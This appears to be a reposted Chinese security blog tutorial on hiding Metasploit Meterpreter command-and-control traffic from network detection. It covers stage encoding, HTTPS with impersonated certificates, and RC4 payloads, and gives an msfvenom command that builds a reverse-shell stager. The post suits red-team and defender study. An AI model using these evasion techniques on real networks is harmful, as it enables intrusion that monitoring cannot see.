Metasploit 规避网络检测_C2 Antiforensics
2023-5-12 00:1:46 Author: LemonSec(查看原文) 阅读量:25 收藏

我想强调Metasploit,因为它被渗透测试人员、红队队员广泛使用和熟知,但也被包括FIN 组在内的许多威胁参与者使用。有时我觉得人们可能会低估这个框架的使用,那你就错了

这次我们将扮演红队操作员或威胁参与者的角色,我们将经历通常包括反取证的入侵过程与 TA0005 和 TA0011 战术(防御规避和指挥与控制)相关。

这是一个示例包含一个 PowerShell 脚本来生成反向 shell 连接。在此活动检查流量之后,我们能通过流量检测工具识别会话期间所有已执行的命令。

在上图中,我们可以轻松地以明文形式发现发送和接收的命令,揭示可能由连接到网络中 SIEM 的 IDS、TAP/端口镜像设备记录的入侵活动。

在下一个示例中,我们将从两个角度分析使用Meterpreter等代理时会发生什么。

这些是用于第一个测试的选项:

现在的问题是这些命令是否可见,以及可以从 C2 活动中发现哪些元素。现在让我们在初始阶段启动后检查流量。

在 TCP 握手之后,我们观察到成功的通信正在进行。在 TCP 流中,我们可以看到一个 HTTP GET 请求来下载一个包含非常有趣数据的文件。

我们可以观察到包含MZ 标头后跟DOS存根的资源的可能异常路径。如果我们继续查看 HTTP 响应中的数据,有一个字符串(在上图中不可见)可以确认发生了什么:二进制文件中对metsrv.dll的引用,这表明此活动是文件下载Metasploit的Meterpreter

但是,如果我们继续观察流量,我们会注意到即使活动是连续的,也没有观察到有价值的数据。

如果这是一个 HTTP 暂存器,为什么会发生这种情况?如果这是 HTTP,那么数据也应该像第一张图片一样可见,对吧?下载 Meterpreter 后,使用反射注入(T1055)将其加载到内存中,并在执行后metsrv对套接字执行 SSL 协商,这意味着即使攻击者使用reverse_tcp有效负载,流量也会默认加密。

在攻击者的控制台中,Meterpreter工作正常,如下所示


在大多数情况下,如果一个 IDS 正在运行,这个活动就会很快被检测到,这意味着作为攻击者我们会发出警报,而且我们可能会失去在两个主机中的存在。

但是,在不使用其他模块的情况下,有一个选项可以隐藏我们正在下载包含Meterpreter的二进制文件这一事实,使用我们的multi/handler模块上的以下选项,命名为stageencoderenablestageencoding,我们将在下一个测试中使用如下。

交付第一阶段后,让我们检查网络流量捕获并观察在传输Meterpreter dll 过程中发生了什么变化。

相同的相应阶段现在使用对防御者无用的数据进行编码,以识别从 IP 地址 10.16.4.192 下载的内容,换句话说,这意味着在这种情况下,攻击者将能够绕过旨在攻击的suricata签名在Meterpreter上,使我们的频道更安全,并减少通过网络命中被检测到的机会。

当然,Metasploit提供了比 TCP reverse_shellMeterpreter reverse_tcp更安全的不同模块,但是这些模块非常方便,因为生成的 shellcode 的大小和使用的 API 调用来使用套接字进行通信(TCP)而不是依赖于HTTP 流量。

通常用于逃避网络检测的选项之一是 TLS,我们在Metasploit中也有一个有效负载。模块reverse_https使用Metasploit创建的自签名证书或自定义证书来建立 TLS 通信。注意:数据已加密,但请记住从未验证过。

检查的流量显示它在 SSL 握手后立即开始。然而,在这种情况下,我们会留下精心制作默认证书的痕迹,这些证书也可以进行调查,这可能会导致基础设施或受到 IDS/IPS 签名的攻击。

要使用不同的证书,作为攻击者,我们可以购买一个或使用自签名证书,但Metasploit包含一个名为impersonate_ssl的有用辅助模块,我们可以在其中提供不同的设置来创建假证书:

避免使用 SSL 证书和模拟的可能风险的另一个选项是使用恶意软件作者通常用来逃避检测的不同 C2 通道:使用RC4 加密流量。

Metasploit RC4 模块包含不同的选项(bind、reverse_tcp 等),其中包括使用此算法来加密流量。这些模块包括对x86x64上的Meterpreter的支持,shell (cmd) 等。

在此示例中,我们将使用Meterpreter 反向 tcp有效负载来测试我们的规避能力。要创建第一个 stager,msfvenom需要以下选项:

msfvenom -p windows/meterpreter/reverse_tcp_rc4 rc4password=<password> LHOST=<IP address> LPORT=<port> -f <desired format> -o rc4tes t

在攻击者机器上,正确设置处理程序需要以下选项:

正如我们所看到的,这些选项是常用的,唯一需要的额外选项是密码,可以使用命令“set RC4PASSWORD yourpassword”来设置

确保在 stager 和 handler 中正确设置了密码,否则通信将失败并消耗受害者主机上的资源,这可能会引发警报。

在执行我们的初始阶段后,Meterpreter被成功下载并执行,允许我们运行命令。但是,交通情况如何?我们是否正确隐藏了活动?

从防御者的角度来看,检查这些流量非常令人失望,因为这只是 TCP 流量、随机字节,从取证的角度来看,这里没有任何有用的东西。

如果作为攻击者,我们从网络角度(初始下载)使第一个 stager 无法检测,例如在具有 HTTPS、网站、CDN 等的网络服务器中提供它。如果有效负载是我们的通信呼叫回家的机会很高针对目标 AV 进行测试,或者如果主机不使用一个。多个选项可用于仅使用Metasploit执行规避,无需进行花哨的修改。

从防守者的角度来看,这就是结束了吗?当然不是。防火墙、代理和其他设备能够执行深度数据包检测,即使流量被加密,蓝队也能识别威胁(仅限 TLS,对于 RC4 流量,深度数据包检测不起作用)。

了解网络中的内容(设备、应用程序等)也将有助于在查看网络捕获和日志时识别环境中的异常流量。

转自:鸿鹄空间安全实验室

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247545771&idx=2&sn=04838082105081713650621e020bfb5d&chksm=f9e35cf0ce94d5e61a801d2dda10d134411c392fd3ff1d3a846e51c7a9a02b4ac85526ece452#rd
如有侵权请联系:admin#unsafe.sh